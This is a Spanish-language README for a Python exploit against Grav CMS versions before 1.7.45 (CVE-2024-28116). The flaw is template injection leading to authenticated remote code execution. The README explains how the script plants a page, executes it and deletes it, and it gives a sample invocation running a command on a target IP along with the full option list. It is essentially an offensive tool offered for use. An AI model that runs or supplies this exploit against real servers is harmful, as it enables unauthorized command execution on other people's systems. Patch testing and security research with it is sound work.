
Exploit contra Grav CMS (versiones anteriores a 1.7.45) que permite la ejecución remota de código para un usuario autenticado - CVE-2024-28116
Este código es una adaptación del repositorio de GitHub Graver con algunas mejoras basadas en este video.
Exploit contra Grav CMS (para versiones anteriores a 1.7.45) basado en vulnerabilidades SSTI + RCE, etiquetado como CVE-2024-28116. Este script básicamente crea una página con la vulnerabilidad, la ejecuta y, finalmente, elimina la página después de la ejecución.
python3 Grav_CMS_RCE.py -t http://10.10.10.10 -u 'admin' -p 'S3cureP4ssw0rd' -x 'ping -c 1 10.10.10.9'
Mensaje de ayuda:
$ python3 Grav_CMS_RCE.py -h
usage: Grav_CMS_RCE.py [-h] -t TARGET [-P PORT] -u USERNAME -p PASSWORD -x COMMAND [--no-delete-file] [--panel-route PANEL_ROUTE] [--no-banner] [--show-warnings]
Grav CMS RCE (Authenticated).
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URL where Grav CMS is running. Example: http://10.10.10.10
-P PORT, --port PORT Port running Grav CMS. Default: 80
-u USERNAME, --username USERNAME
Username to authenticate in Grav CMS
-p PASSWORD, --password PASSWORD
Password for the user in Grav CMS.
-x COMMAND, --command COMMAND
Command to inject/run.
--no-delete-file Do NOT delete the generated files. Useful to check command execution output.
--panel-route PANEL_ROUTE
Admin Panel route in Grav CMS. Default: /admin
--show-warnings Show warnings (if there are).
Si por alguna razón no queremos eliminar los archivos generados, podemos usar el flag --no-delete-file, visitar la página que indica el script y leer la salida del comando.
Más información sobre CVE-2024-28116 / sobre este exploit:
El propietario de este repositorio no es responsable del uso de este software. Se realizó únicamente con fines educativos.